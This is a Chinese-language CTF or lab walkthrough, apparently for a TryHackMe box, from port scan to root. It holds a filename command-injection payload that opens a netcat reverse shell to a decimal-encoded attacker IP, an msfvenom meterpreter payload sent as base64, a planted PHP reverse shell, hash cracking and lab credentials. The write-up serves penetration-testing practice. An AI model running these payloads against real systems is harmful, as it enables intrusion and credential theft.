端口扫描

nmap --min-rate=10000 -p- 10.10.150.223
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 10:27 UTC
Nmap scan report for ip-10-10-150-223.eu-west-1.compute.internal (10.10.150.223)
Host is up (0.0025s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
36473/tcp open unknown
MAC Address: 02:04:33:21:A6:4F (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds
nmap -sT -sC -sV -O -p22,80,111,36473 10.10.150.223
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 10:28 UTC
Nmap scan report for ip-10-10-150-223.eu-west-1.compute.internal (10.10.150.223)
Host is up (0.00048s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 b1aca992d32a699168b46aac4543fbed (DSA)
| 2048 3a3f9f5929c820d73ac504aa8236683f (RSA)
| 256 f92fbbe3ab95ee9e787c91187d9584ab (ECDSA)
|_ 256 490e6fcbec6ca59767cc3c31ad94a454 (ED25519)
80/tcp open http nginx 1.6.2
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.6.2
|_http-title: Tempus Fugit Durius
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36473/tcp status
| 100024 1 44041/udp6 status
| 100024 1 47749/tcp6 status
|_ 100024 1 57510/udp status
36473/tcp open status 1 (RPC #100024)
MAC Address: 02:04:33:21:A6:4F (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (99%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.8 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.24 seconds

Getshell?

这个网站似乎对目录扫描做了一些防护,只能手动测试了。比较显眼的那就是右上角的“upload”了。随便传了个木马,然后显示是只能上传txt和rtf。于是上传一个txt也是成功了,但是问题在于不知道上传文件的目录,抓个包看看。发现似乎可以在文件名后面堆叠命令注入,因为当我们上传一个txt之后,内容会显示,所以也许是有类似”cat xxx.txt”之类的命令,然后我们就可以在后面拼接我们的命令。在文件名后面加上”;id”也是成功回显了!写一个反弹shell:nc 10.11.38.245 1234 -e /bin/bash”,但是提示filename不能太长。我们可以把IPv4地址转换为十进制表示

计算方式是:10×256^3+11×256^2+38×256^1+245×256^0=168503029

并且当我监听1234端口时还收不到shell,于是换用防火墙绕过的常用方式用443端口

于是最终的payload是:1.txt;nc 168503029 443 -e bash

也没有别的系统,盲猜在webapp中有什么敏感信息

在main.py中找到一个ftp的凭证

目标是:ftp.mofo.pwn

someuser/04653cr37Passw0rdK06

但是在之前的端口扫描中并没有开放ftp

因为shell的交互性不是很好,于是转移到msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=444 -f elf >shell.elf

发现靶机上没有curl和wget命令

于是用base64来传

cat shell.elf |base64

在靶机上:

echo 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1toCgsm9WgCAAG8
ieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A' |base64 -d >shell.elf
chmod +x shell.elf

然后msf上开启监听,转移shell

然后发现并没有安装ftp的客户端,那就用python写一个客户端

from ftplib import FTP

ftp_host = 'ftp.mofo.pwn'
ftp_user = 'someuser'
ftp_password = '04653cr37Passw0rdK06'

try:
ftp = FTP()

ftp.connect(ftp_host)

ftp.login(user=ftp_user, passwd=ftp_password)

print(ftp.getwelcome())

ftp.retrlines('LIST')

finally:
ftp.quit()

meterpreter可以直接上传文件,非常方便

运行之后发现上面有一个cred.txt

from ftplib import FTP

ftp_host = 'ftp.mofo.pwn'
ftp_user = 'someuser'
ftp_password = '04653cr37Passw0rdK06'
ftp = FTP()
ftp.connect(ftp_host)
ftp.login(user=ftp_user, passwd=ftp_password)
print(ftp.getwelcome())
ftp.retrlines('LIST')
with open('cred.txt','wb') as fp:
ftp.retrbinary('RETR creds.txt', fp.write)
ftp.quit()

下载下来,得到凭证

admin:BAraTuwwWzx3gG

Docker逃逸

但是暂时不知道用于做什么。而且我们似乎在一个容器当中?

cat /proc/1/cgroup

一看也确实

meterpreter > ipconfig

Interface 1
============

Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 9
============

Name : eth0
Hardware MAC : 02:42:c0:a8:96:0a
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.150.10
IPv4 Netmask : 255.255.255.0

直接做端口转发,扫描一下其他主机看看

proxychains nmap 192.168.150.0/24 -p- -sV -sT -Pn -vv

好吧,因为扫描的过程实在有点长,结果直接看WP了

192.168.150.1 开设了一个80

proxychains firefox访问,发现是一个batflatCMS

/admin目录来到登陆界面,输入之前得到的凭证登陆成功

然后利用方式和wordpress一样,在左边的设置中可以选择主题,更改”hello”主题为一个php的反弹shell

然后发现其他用户都没有权限,大概率在web目录可以找到敏感信息了(怎么有点似曾相识)

在/var/www/html/inc/data/目录找到一个database.sdb,直接放到kali后缀改成db,然后用sqlite打开

在user表中找到用户ben的哈希$2y$10$KSWWopGZdJhqP3iq8juuauMyNZjA8S8X/49lr7XntZKXsuWRUgaFC

用rockyou爆了几十分钟总算是爆出来额divisionminuscula

提权

然后搜索一下SUID,发现能用ispell,但是似乎不能用GFTOBINS的方式直接提权

/usr/bin/ispell/ ~/flag1.txt

然后!/sh 生成一个shell

虽然身份还是没有变,但是可以读取/var/log/auth/log (这个不知道为啥)

在里面找到root的密码:sTertXssd65rfd_sdf

碎碎念

打了好久,期间重开了好几次靶机,打晕了。十进制的IP第一次见233似乎各个进制都可以解析?其实感觉因为步骤有点多绕来绕去有些晕,实际上这个房间并没有很难,最后一步还是有点难想到